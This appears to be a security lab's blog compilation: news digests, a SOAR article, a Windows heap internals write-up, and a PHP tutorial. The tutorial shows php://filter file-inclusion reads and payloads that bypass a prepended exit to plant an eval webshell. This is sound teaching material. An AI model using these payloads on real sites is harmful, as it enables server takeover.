网络安全日报 2021年09月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、WhatsApp 推出用户聊天记录云端加密备份支持 https://thehackernews.com/2021/09/whatsapp-to-finally-let-users-encrypt.html 2、思科修补 IOS XR 中的高危安全漏洞 https://www.securityweek.com/cisco-patches-high-severity-security-flaws-ios-xr 3、HAProxy 修复了高危 HTTP 请求走私漏洞( CVE-2021-40346) https://www.haproxy.com/blog/september-2021-duplicate-content-length-header-fixed/ 4、新的 SOVA Android 银行木马正在迅速扩张 https://securityaffairs.co/wordpress/122090/cyber-crime/sova-android-banking-trojan.html 5、微软修复了 Azure 容器实例中的 Azurescape 漏洞 https://securityaffairs.co/wordpress/122081/hacking/microsoft-azurescape-flaw.html 6、专家证实联合国在今年早些时候遭黑客攻击和数据泄露 https://www.infosecurity-magazine.com/news/hackers-steal-data-from-united/ 7、南非国家航天局披露公共FTP服务器数据泄露 https://www.technadu.com/sansa-responds-data-leak-incident-its-nothing-serious/300375/ 8、WordPress发布更新共修复了61个安全漏洞 https://portswigger.net/daily-swig/wordpress-5-8-1-security-release-addresses-clutch-of-vulnerabilities 9、新侧信道攻击可以绕过谷歌Chrome的保护 https://portswigger.net/daily-swig/spook-js-new-side-channel-attack-can-bypass-google-chromes-protections-against-spectre-style-exploits 10、CISA警告称三菱的工业控制器易受远程攻击 https://www.technadu.com/a-widely-deployed-mitsubishi-industrial-controller-is-vulnerable-to-remote-exploitation/300011/
网络安全日报 2021年09月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软警告 Azure 容器实例中存在信息泄漏漏洞 https://www.securityweek.com/microsoft-warns-information-leak-flaw-azure-container-instances 2、美国政府就零信任架构战略草案征求公众意见 https://www.securityweek.com/us-gov-seeks-public-feedback-draft-federal-zero-trust-strategy 3、 Mēris 僵尸网络针对Yandex发动了大规模DDoS攻击 https://securityaffairs.co/wordpress/122048/malware/meris-botnet-ddos.html 4、TeamTNT 黑客组织扩大其武器库瞄准全球数千个组织 https://securityaffairs.co/wordpress/122037/cyber-crime/teamtnt-expands-arsenal.html 5、研究人员发现全球有超过200万台老旧易受攻击的IIS Web服务器 https://securityaffairs.co/wordpress/122044/security/millions-microsoft-servers-exposed-online.html 6、澳大利亚COVID-19数字疫苗应用中存在漏洞可伪造疫苗证明 https://threatpost.com/spoofing-bug-cybersecurity-vaccine-passports/169287/ 7、NCCoE 发布应急响应人员网络安全指南 https://www.infosecurity-magazine.com/news/nccoe-cybersecurity-guide-first/ 8、Fortinet证实 87,000 台FortiGate设备VPN 帐户密码泄露 https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html 9、特斯拉(TSLA)全自动驾驶测试版软件泄露 https://electrek.co/2021/09/07/tesla-tsla-full-self-driving-beta-software-leaked/ 10、GitHub 在"tar"和"@npmcli/arborist"包中发现 7 个代码执行漏洞 https://www.bleepingcomputer.com/news/security/github-finds-7-code-execution-vulnerabilities-in-tar-and-npm-cli
网络安全日报 2021年09月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Zoho 确认其ADSelfService Plus中的身份验证绕过0day漏洞 https://www.securityweek.com/zoho-confirms-zero-day-authentication-bypass-attacks 2、谷歌发布安全更新修补 40 个Android 漏洞 https://www.securityweek.com/google-android-security-update-patches-40-vulnerabilities 3、霍华德大学遭勒索软件攻击后取消课程和封校 https://www.securityweek.com/howard-university-cancels-classes-shuts-campus-after-ransomware-attack 4、700万以色列人的个人信息在暗网出售 https://securityaffairs.co/wordpress/121984/breaking-news/israelis-data-online.html 5、Groove 团伙泄露了50万个Fortinet 设备凭据列表 https://securityaffairs.co/wordpress/121985/cyber-crime/groove-gang-fortinet-leaks.html 6、微软警告 Internet Explorer 中的0day漏洞被积极利用 https://securityaffairs.co/wordpress/121964/security/microsoft-zero-day.html 7、俄罗斯通信监管机构 Roskomnadzor 封禁了多个VPN https://securityaffairs.co/wordpress/121979/intelligence/russian-roskomnadzor-blocks-vpns.html 8、TeamTNT 的新工具针对多个操作系统 https://threatpost.com/teamtnt-target-multiple-os/169279/ 9、HAProxy 披露严重HTTP 请求走私攻击漏洞 https://thehackernews.com/2021/09/haproxy-found-vulnerable-to-critical.html 10、专家发现针对库尔德族群的移动间谍软件攻击 https://thehackernews.com/2021/09/experts-uncover-mobile-spyware-attacks.html
网络安全日报 2021年09月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、德国承认警方使用了有争议的 Pegasus 间谍软件 https://www.securityweek.com/germany-admits-police-used-controversial-pegasus-spyware 2、微软发布紧急补丁公告警告MSHTML 中存在远程代码执行漏洞 https://www.securityweek.com/microsoft-office-zero-day-hit-targeted-attacks 3、REvil勒索软件团伙的服务器再次神秘上线 https://securityaffairs.co/wordpress/121952/cyber-crime/revil-ransomware-gang-servers-back-online.html 4、研究人员发布了 Ghostscript 零日漏洞 PoC 漏洞利用代码 https://securityaffairs.co/wordpress/121940/hacking/ghostscript-poc-exploit.html 5、Jenkins 项目的服务器遭攻击者利用Confluence 漏洞入侵 https://securityaffairs.co/wordpress/121934/hacking/jenkins-server-security-breach.html 6、Ragnar Locker团伙称如果受害者联系执法机构将立即泄露数据 https://securityaffairs.co/wordpress/121924/cyber-crime/ragnar-locker-threatens-victims-fbi.html 7、法国政府签证网站遭网络攻击泄露申请人信息 https://portswigger.net/daily-swig/french-government-visa-website-hit-by-cyber-attack-that-exposed-applicants-personal-data 8、爱尔兰警察局查封HSE网络攻击团伙的基础设施 https://www.irishtimes.com/news/crime-and-law/garda%C3%AD-seize-infrastructure-from-hse-cyber-attack-gang-1.4665454 9、数百万摩洛哥公民个人数据在线泄露 https://www.moroccoworldnews.com/2021/09/344304/personal-data-of-2-million-moroccans-leaked-online 10、Barracuda 的报告显示39% 的互联网流量来自不良爬虫 https://www.helpnetsecurity.com/2021/09/07/bad-bots-internet-traffic
为什么安全编排、自动化和响应 (SOAR)是安全平台的基础?
由于最近的全球健康危机所造成的“新常态”,如今的安全团队面临着越来越多的挑战。疫情的反反复复,那些在太多工具、太多数据中苦苦挣扎的团队发现,协作和交流变得更加困难,因为他们的员工必须转到虚拟安全运营中心 (SOC) 模型中,同时还要应对越来越多的威胁并投入更多的时间来满足家人和家庭需求。  互不关联的团队加速了对开放、互联平台的安全方法的需求。借助这种方法,组织可以:将新的安全工具与现有安全工具整合在一起,进而实现投资最大化;将SOC 分析人员的工作流转移到单个位置,进而提升他们的生产效率;随着 IT 和安全计划的变化为组织提供灵活性。我们对下一代开放、集成安全平台的愿景围绕下述三个主要原则而构建:  1. 开放架构:如今,组织会使用越来越多的不同工具和云平台,因此下一代安全平台必须具有足够的开放性,才能轻松与来自不同供应商的不同工具进行协同。整合现有工具或移动数据通常由于成本过高、过于复杂而让组织无法实施,但是采用基于开源技术并由开放标准机构支持的平台,便能够让团队以标准化的方式将所有工具整合在一起,进而实现现有投资的最大化。  2. 集中式中心:SOC 分析人员可以使用单个主记录系统来管理其工作流程,进而提升工作效率。在开放架构之上而构建的集中式中心提供了一种融合人员、流程和技术的方式。这使得分析人员可以摆脱他们所用的单个工具,并将其工作简化到单个位置,同时仍可从现有工具中发掘有价值的数据,并减少就所有的已部署工具对整个 SOC 进行训练的需求。目标在于在适当的时间自动将适当的信息呈现到适当的人员面前,让问题得到有效而果断的解决。  3. 灵活部署:大多数组织都使用多个云平台和内部解决方案来管理其安全和IT 环境。此外,每个组织通常都处在自己独特的云之旅中。可在任何位置部署的下一代安全平台能够让企业灵活选择目前和将来的最佳选项,同时避免锁定到特定的部署模型。  SOAR 是下一代安全平台的核心  安全编排、自动化和响应 (SOAR) 解决方案基于 Gartner 定义的四个引擎而构建,分别是:工作流和协作、凭证和案例管理、编排和自动化以及威胁情报管理。结合采用这些功能可以将人员、流程和技术融合在一起,进而提高 SOC 生产效率、缩短事件响应 (IR) 时间。因此,这些引擎也能够为强大的安全堆栈提供理想的基础。的确,基于开放架构并采用灵活混合云部署的 SOAR 功能是构建符合这一愿景的安全平台的理想方法。  将 SOAR 置于安全平台的核心有助于团队以集中、协调的方式开展工作,进而实现整个生态系统以及所有安全流程的价值扩展和最大化。将 SOAR 功能整合到下一代安全平台之中,将能够提供一个坚实的基础,进而帮助组织实现诸多优势。  加强安全团队内部和外部的沟通  任何 SOC,尤其是虚拟 SOC,都需要通过无缝协作来指导响应并组织任务 - 这是 SOAR 平台的关键功能之一。团队无需从头开始,只需要遵循动态运行手册中嵌入的工作流程以智能的方式开展工作即可。此外,安全团队可以利用 SOAR的工作流和协作引擎与不同的职能部门(如 IT、法律、人事或 PR 等)的关键参与者进行沟通,进而促进协调一致且有效的响应。  通过集中式案例管理提升效率  SOC 分析人员可以通过案例管理功能提升效率,此类功能可以通过 SOAR 解决方案的集中式中心进行管理,无需在多个工具和仪表板之间来回切换。在案例管理从 SOAR 解决方案扩展到更广泛的安全平台之后,便可为分析人员提供一种通用格式,以供在所有连接的功能中使用。强大的案例管理功能还包括仪表板和报告功能,用以跟踪指标和 KPI、突出显示趋势和差距并提升 SOC 的业务价值。  生态系统深度和广度的最大化  安全团队可以通过开放架构实现其生态系统深度和广度的最大化。借助开放的、基于标准的方法,SOC 团队可以通过跨各种数据源和工具的集成来利用多样化生态系统的功能,同时充分利用现有投资。这些技术的编排能够扩展 SOAR 功能,同时为安全分析人员提供对生态系统的更高可视性。  将 SOAR 置于下一代平台的核心,有助于让客户将 SOAR 的优势扩展到创建SOAR 所针对的 IR 流程之外,进而将漏洞管理、身份管理、DevSecOps 等安全流程涵盖在内。如此一来,不仅从逻辑上扩展了该项投资,进而产生额外的ROI,而且还能够生成有关这些流程的 KPI,用于推动持续改善并转变安全部门与组织其他部门的关系。
网络安全日报 2021年09月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、恶意软件伪装成破解软件进行传播 https://thehackernews.com/2021/09/traffic-exchange-networks-distributing.html 2、NETGEAR 修复了智能交换机中多个高危漏洞 https://thehackernews.com/2021/09/critical-auth-bypass-bug-affect-netgear.html 3、Apple宣布推迟设备图像扫描计划 https://thehackernews.com/2021/09/critical-auth-bypass-bug-affect-netgear.html 4、一名TrickBot 团伙成员在首尔国际机场被捕 https://securityaffairs.co/wordpress/121909/cyber-crime/trickbot-gang-developer-arrested.html 5、NPM包"pac-resolver"修复远程代码执行漏洞 https://www.zdnet.com/article/this-npm-package-with-millions-of-weekly-downloads-has-fixed-a-remote-code-execution-flaw 6、报告称2021 年上半年勒索软件攻击增加了 288% https://www.helpnetsecurity.com/2021/09/06/ransomware-attacks-increased-2021/ 7、FBI警告针对食品和农业领域的勒索软件攻击 https://www.hackread.com/fbi-somware-attack-food-agriculture-sectors/ 8、O.MG充电电缆可以从苹果设备远程窃取数据 https://www.hackread.com/o-mg-malicious-lighting-cable-log-keystrokes-malware/ 9、包含3900万法国人详细信息的数据库在暗网出售 https://www.technadu.com/massive-pack-containing-details-of-39-million-french-is-for-sale-on-the-darkweb/299454/ 10、新的恶意软件使用CLFS日志文件来躲避检测 https://thehackernews.com/2021/09/this-new-malware-family-using-clfs-log.html
PHP伪协议的妙用
filter协议的简单利用: php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 首先给出最简单的文件包含的示例代码: <?php $file = $_GET["file"]; include($file); ?> 在同目录下有一个flag.php文件: <?php $flag = "flag{Lxxx}"; 想要读取flag.php文件,可以利用filter伪协议,传参如下: ?file=php://filter/convert.base64-encode/resource=flag.php 这样即可读到flag.php文件base64加密过后的内容 PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K 然而,对于filter协议,不只有这一种写法: ?file=php://filter/read=convert.base64-encode/resource=flag.php #这一种是指定读链的筛选列表 除了使用convert.base64-encode过滤器,还可以使用其他的一些过滤器,比如字符编码类型的,payload如下: ?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php 得到结果: ?<hp p$ lfga= " lfgaL{xx}x;" 将其解码,同样可以得到flag.php原内容 <?php$str = "lfga= \" lfgaL{xx}x;\"";echo iconv('UCS-2BE', 'UCS-2LE', $str);?> 得到结果: flag = "flag{Lxxx}"; 其他有关PHP支持的字符编码官方文档如下:https://www.php.net/manual/zh/mbstring.supported-encodings.php filter协议的进阶利用: 利用filter伪协议绕过死亡之die、死亡之exit 假设我们有以下代码: <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 这几行代码允许我们写入文件,但是当我们写入文件的时候会在我们写的字符串前添加exit的命令。这样导致我们即使写入了一句话木马,依然是执行不了一句话的。 分析这几行代码,一共需要我们传两个参数,一个是POST请求的content,另一个是GET请求的filename,而对于GET请求中的filename变量,我们是可以通过php://filter伪协议来控制的,在前面有提到,最常见的方法是使用base64的方法将content解码后传入。 base64编码绕过: 假设我们先随便传入一句话木马: ?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 这个时候我们打开1.php文件: 可以发现里面是一堆乱码,原因是不仅我们的加密后的一句话木马进行了base64解码,而且前面的死亡之exit也进行了解码。 我们仔细分析一下死亡之exit的代码: <?php exit; ?> base64编码中只包含64个可打印字符,而当PHP在解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。 例如: <?php$str = "THh4eA==";echo base64_decode($str);?> 得到结果:Lxxx 如果我们在str变量中添加一些不可见的字符或者是不可解码字符(\x00,?) <?php$str = "TH?h4eA==";echo base64_decode($str);?> 得到的结果仍然为:Lxxx 因此,对于死亡之exit中的代码,字符<、?、;、>、空格等字符不符合base64解码范围。最终解码符合要求的只有phpexit这7个字符,而base64在解码的时候,是4个字节一组,因此还少一个,所以我们将这一个手动添加上去。 传payload如下: ?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ content中第一个字符a就是我们添加的 这个时候我们查看1.php的内容如下: 可以看到一句话木马已经成功写入了。 rot13编码绕过: 除了使用base64编码绕过,我们还可以使用rot13编码绕过。相比base64编码,rot13的绕过死亡之exit更加方便,因为不用考虑前面添加的内容是否可以用base64解码,也不需要计算可base64解码的字符数量。 同样的还是上面的示例代码: <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 传payload: ?filename=php://filter/string.rot13/resource=1.phpPOSTDATA: content=<?cuc riny($_CBFG[1]);?> 打开1.php文件: 可以看到,一句话木马也成功写入了。 虽然rot13更加的方便,但是还是有缺点,就是当服务器开启了短标签解析,一句话木马即使写入了,也不会被PHP解析。 多种过滤器绕过: 再仔细观察死亡之exit的代码: <?php exit; ?> 可以看到死亡之exit的代码其实本质上是XML标签,因此我们可以使用strip_tags函数除去该XML标签 并且,filter协议允许我们使用多种过滤器,所以我们还是针对上面的实例代码: <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 传payload如下: ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 查看1.php 这时候可以看到一句话木马干干净净地在1.php文件中,不掺杂任何杂质 参考资料 https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://xz.aliyun.com/t/8163 相关实验:https://www.yijinglab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee<>
网络安全日报 2021年09月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Pacific City Bank遭 AVOS Locker 勒索软件攻击 https://securityaffairs.co/wordpress/121872/cyber-crime/pacific-city-bank-avos-locker-ransomware.html 2、WhatsApp 因 违反GDPR 相关规定被罚款 2.25 亿欧元 https://securityaffairs.co/wordpress/121866/security/whatsapp-fined-e225m-gdpr.html 3、新西兰第三大运营商Vocus ISP遭大规模DDoS攻击 https://securityaffairs.co/wordpress/121856/hacking/new-zealand-ddos.html 4、Babuk 勒索软件源码在黑客论坛出售 https://securityaffairs.co/wordpress/121831/cyber-crime/babuk-source-code-leak.html 5、Conti 勒索软件利用ProxyShell漏洞攻击Exchange服务器 https://securityaffairs.co/wordpress/121815/cyber-crime/conti-ransomware-gang-proxyshell.html 6、FIN7黑客利用Windows 11主题文档钓鱼攻击传播后门 https://thehackernews.com/2021/09/fin7-hackers-using-windows-11-themed.html 7、攻击者可利用Comcast遥控器中的漏洞进行射频攻击 https://threatpost.com/comcast-rf-attack-remotes-surveillance/169133 8、新的恶意软件使用CLFS日志文件来逃避检测 https://thehackernews.com/2021/09/this-new-malware-family-using-clfs-log.html 9、研究人员设计了一种阻止USB恶意软件的设备 https://www.infosecurity-magazine.com/news/invent-device-thwart-usb-malware/ 10、美国迪尔菲尔德镇数据泄露暴露居民个人信息 https://www.recorder.com/Deerfield-residents-victim-of-security-breach-42259800
windows 堆分析
windows和linux堆管理机制虽然呈现给用户的效果是一样的,大体思路也是差不太多,但是底层实现逻辑大相径庭,很多地方和glibc的ptmalloc差别很大。网上资料零零散散,而且都是通过逆向手段分析,所以每个版本资料还多少有些差异,在这里对windows堆管理机制做个归纳,学习一下。 接口 在glibc中,通常我们调用的分配函数就是malloc、calloc、realloc,但是这三个函数本质都差不多,本体还是malloc函数的逻辑。 在windows中,堆的分配函数就比较多了这里我们逐一介绍一下。 函数原型参数说明HeapAlloc(HANDLE hHeap, DWORD dwFlags, size_t dwSize)hHeap为进程堆开始位置,flag就是标志,size就是大小。内存是指定位置开始分配,且分配的内存不可移动。对应的释放函数是HeapFreeGlobalAlloc(UINT uFlags, size_t dwBytes)uflag标志信息:GMEM_FIXED分配固定内存,返回一个指针;GMEM_MOVABLE分配活动内存,返回内存对象句柄,这个句柄可以利用GlobalLock转化为指针。从全局堆中分配内存,相应的释放函数是GlobalFreeLocalAlloc(UIN 从接口信息可以看出来,windows和linux堆的一个很大的不同点就是windows的堆有很多,linux的话都在一个区域里。 另外,globalalloc和localalloc在现代的win32以后的版本中没有区别,这两个函数刚开始是在16位windows中使用有区别的。在win32中每个程序都有一个自己的缺省堆,所以全局堆和局部堆在win32中都指向这个缺省堆,这俩没区别,甚至释放函数都可以混着用。等效于heapAlloc(GetProcessHeap(),flag,size) malloc函数虽然不像其他的函数那样指明了堆区,但是实际上windows中malloc函数在初始化的时候自己HeapCreate了一段堆内存区域供他使用。每个模块的malloc都有自己的堆区域,所以不能一个dllfree掉另一个dll的堆指针。 概览 windows堆管理机制较之于linux比较复杂,管理机制也分好几套。 UWP即Windows通用应用平台,Windows 10中的Universal Windows Platform简称。UWP不同于传统pc上的exe应用,可以在所有Windows10设备上运行。UWP应用程序进程至少包括三个堆:(1) 默认堆(2) 用于向进程的会话Csrss.exe实例传递大参数的共享堆。这是由CsrClientConnectToServer函数创建的,该函数在Ntdll.dll完成的进程初始化早期执行。(3) 由Microsoft C运行库创建的堆。该堆是由C/C++内存分配函数(如Maloc、Free、等)内部使用的堆。 在Windows10和服务器2016之前,只有一种堆类型,我们称之为NT堆。Windows 10引入了一种称为段堆(segment heap)的新堆类型。这两种堆类型包括公共元素,但结构和实现方式不同。默认情况下,所有UWP应用程序和某些系统进程都使用段堆,而所有其他进程都使用NT堆。这可以在注册表中更改。 大部分场合默认使用的堆都是NT heap,segment heap通常会在winapp或者某些特殊的进程(核心进程)中会使用到。 而在NT heap中又分为前端管理和后端管理两套不同的堆分配管理策略。 而windows程序的堆又分为两种: 第一种叫做processheap,它包括两个部分,一个是default heap,其地址信息回存放于_PEB中,在调用malloc等函数的时候会用到。第二个是crtheap,但是其本质一样是default,封装了一些别的信息,存放于crt_heap中。 第二种叫做private heap,也就是我们通过HeapCreate创建的堆。 NT堆 大体流程 大体流程就是windows app调用msvcrt140.dll函数中的形如malloc、free等函数后,会调用kernel32.dll中的堆管理api,接着调用ntdll中的管理机制。 这里的管理机制中,LFH就是前端管理的核心,那么整个流程具体来说就是如下的逻辑: (1) 小于或等于16368字节,使用LFH分配器。这与NT堆的逻辑类似。如果LFH还没有启动,那么将使用可变大小(VS)分配器。(2) 对于小于或等于128 KB的大小(不由LFH提供服务),使用VS分配器。VS和LFH分配器都使用后端根据需要创建所需的堆子段。(3) 大于128 KB且小于或等于508 KB的分配由堆后端直接提供服务。(4) 大于508kb的分配直接调用内存管理器(VirtualAlloc),因为这些分配非常大,因此使用默认的64kb分配粒度(并舍入到最接近的页面大小)就足够了。 如果LFH没有启用,那么就直接调用后端堆管理机制。 启用LFH后,第一次申请或者LFH内部空间不够时会从后端堆中申请一段大空间来使用。 如果LFH搞定了申请,那么直接由LFH返回,不调用后端。 可以看出前端分配器就有点类似于linux中的fastbin。 这里要说明一下,在之前的windows版本中,前端分配器并不是LFH,而是look aside表,也就是0day一书中提到的快表,但是windows10中已经不适用lookaside了。 数据结构 由前面的内容可以看出来windows有很多的堆,从linux的管理机制中,我们知道每个堆都由一个重要的数据结构malloc_state来管理,这些个mallocstate就称之为arena,主线程叫main_arena,别的叫thread_arena,这些个数据结构由指针链接形成链表。 那么在windows的堆管理机制中,同样也需要类似于arena这样的结构体。但是不同于linux,每个这样的堆管理结构体是存放于每个堆段的头部,并不是在某些dll的数据段中。 这个数据结构就称之为_HEAP,长这个样子: +0x000 Segment : _HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x008 SegmentSignature : Uint4B //用来判断NT还是Segment +0x00c SegmentFlags : Uint4B +0x010 SegmentListEntry : _LIST_ENTRY +0x018 Heap : Ptr32 _HEAP +0x01c BaseAddress : Ptr32 Void +0x020 NumberOfPages : Uint4B +0x024 FirstEntry : Ptr32 _HEAP_ENT 其中比较重要的字段意义都写在了注释中。 在linux中,堆是由一个个chunk构成的,在windows中也一样,也是由一个个堆块构成。 这样一个堆块的结构,称之为_HEAP_ENTRY。这个结构比较奇怪,似乎有好几种实现方式?以为同样偏移有不同的意思。 ntdll!_HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 PreviousBlockPrivateData : Ptr64 Void +0x008 Size : Uint2B +0x00a Flags : UChar +0x00b SmallTagIndex : UChar +0x008 SubSegmentCode : Uint4B +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f Un 在老外逆出来的c版本中是这样的: //0x10 bytes (sizeof)struct _HEAP_ENTRY{ union { struct _HEAP_UNPACKED_ENTRY UnpackedEntry; //0x0 struct { VOID* PreviousBlockPrivateData; //0x0 union { struct { USHORT Size; //0x8 UCHAR Flags; //0xa UCHAR SmallTagIndex; //0xb }; struct { ULONG SubSegmentCode; //0x8 USHORT PreviousSize; //0xc union 这里的话主要是因为一个chunk(也就是_HEAP_ENTRY,这么叫方便些)有不同的状态,所以就union一下。 那么具体来说,一个chunk有三种状态:使用(allocated)、释放(free)、虚拟(virtual alloc)(mmap出来的chunk)。 使用状态(inuse): 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小,这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte(size和flag)做xor后的值,验证作用0xc: PreviousSIze2bytes表示前一个chunk的size,同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused 释放状态(unused): 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小,这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte(size和flag)做xor后的值,验证作用0xc: PreviousSIze2bytes表示前一个chunk的size,同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused virtualAlloc状态: 偏移&名称大小意义0x0: flink8bytes双向链表指针0x8: blink8bytes双向链表指针0x10: size2bytes这里的size是unusedsize,且没有进行移位0x12: flag1byte 0x13: smallTagIndex1byte 0x14: PreviousSIze2bytes 0x16: SegmentOffset1byte 0x17:UnusedBytes1byte恒为4 这里的virtualalloc的chunk状态可能有些勘误,因为网上关于这里的资料比较少。 这里要说明一下,关于chunk头部的验证: 在之前的_HEAP结构体中有一个encoding字段,这个cookie就是为了加密头部来用的,具体来说就是xor一下,所以在对chunk进行操作的时候会验证其有效性。同时SmallTagIndex也会对flag和size做一个验证。 free_list 这个是在_HEAP中的一个指针,指向的是free的chunk的链表,双向有序链表。在一个chunk被释放后,会插入到这个list中(类似于unsortedbin) BlocksIndex 这个指针的结构是_HEAP_LIST_LOOKUP。 这一结构体长这个样子: //0x38 bytes (sizeof)struct _HEAP_LIST_LOOKUP{ struct _HEAP_LIST_LOOKUP* ExtendedLookup; //0x0 指向下一个lookup,通常chunk会更大 ULONG ArraySize; //0x8 管理的最大chunk大小(右移4位后) ULONG ExtraItem; //0xc ULONG ItemCount; //0x10 当前管理的chunk数 ULONG OutOfRangeItems; //0x14 超出该结构体管理的chunk数量 ULONG BaseIndex; //0x18 该结构管理的chu 这两个链表之间的关系如下图(摘自angelboy的slide) 可以看到,所有的chunk都是存储在freelist中,而blockindex用来定位这些在freelist中的chunk的位置,快速找到合适大小的chunk。 NT后端管理机制 管理机制无非就是申请和释放的逻辑。 申请 申请时,分为三种情况: 1.Size<=0x40002.0x4000<size<=0xff0003.Size>0xff000 第一种情况,当size<=0x4000时:1.查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21,并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。 2.接下来首先查看对应的ListHint中是否有chunk,有则优先分配(先看快表)如果有大小合适的chunk在ListHint上则移除ListHint,并且查看chunk的Flink⼤⼩是否size与此chunk相同(注意FreeLists按大小排序):为空则清空,否则将LintHint填上Flink。最后unlink该chunk,把此chunk从linkedlist中移除返回给user,并将header xor回去(返回时header被encode) 3: 若没有大小合适的chunk: 则从比较⼤的ListHint中找,有找到比较大的chunk后,同样查看下⼀块chunk的size是不是一样大小,有则填上,并且unlink该chunk, 从freelist移除。最后将chunk做切割,剩下的⼤⼩重新加入Freelist,如果可以放进ListHint就会放进去,将切割好的chunk返回给使用者(chunk header同样encode) 4.如果FreeList中没有可以操作的chunk,则尝试ExtendHeap来加大heap空间,再从extend出来的heap取chunk,接着像上面一样分割返回(chunk header encode),剩下的放回ListHint 第二种情况,当0x4000<size<=0xff000 基本和第一种情况差不多,但是没有LFH操作。 第三种情况,当size大于0xff000 直接使⽤ZwAllocateVirtualMemory,类似直接mmap一大块空间,并且会插入到_HEAP->VirtualAllocdBlocks这个linked list中(这个linked list用来串接该HeapVirtualAllocate出来的区段) 释放 分两种情况,大于小于0xff000分别讨论 size<=0xff000 1:首先检查alignment,利⽤unusedbyte判断该chunk状态如果是非LFH模式下,会对对应到的FrontEndHeapUsageData减12:接下来会判断前后的chunk是否为freed,是的话就合并此时会把可以合并的chunk unlink,并从ListHint移除(移除⽅式与前⾯相同,查看下一个chunk是不是相同⼤⼩,是则补上ListHint)3:合并之后,update size&prevsize,然后查看是不是最前跟最后,是就插入,否则就从ListHint中插入,并且update ListHint,插入 时也会对linked list进行检查(此检查不会abort,其 具体的流程可以参考angelboy的slide。 size > 0xff000 检查该chunk的linkedlist并从_HEAP->VirtualAllocdBlocks移除接着使⽤RtlpSecMemFreeVirtualMemory将chunk整个munmap掉 NT前端管理机制 也就是之前一直提到的LFH(low fragment heap),在win10主要使用,只有在非调试状态下才会启用,根据之前的内容也不难推测,是用来管理大小小于0x4000的chunk的。 要想触发LFH,需要分配18个相同大小的堆块,他们可以不连续。 如何查看LFH是否开启呢?在windbg中,可以通过dt _HEAP [Heap Address]查看heap结构体,在偏移0x0d6处FrontEndHeapType字段可以揭示是否开启了LFH,如果为0则说明后端堆在管理,为1就是lookaside策略,2就说明是LFH。 另一种方式可以查看一个chunk是否属于LFH管理,通过!heap -x [Chunk Address]来查看 数据结构 相关的重要的数据结构为_LFH_HEAP,在 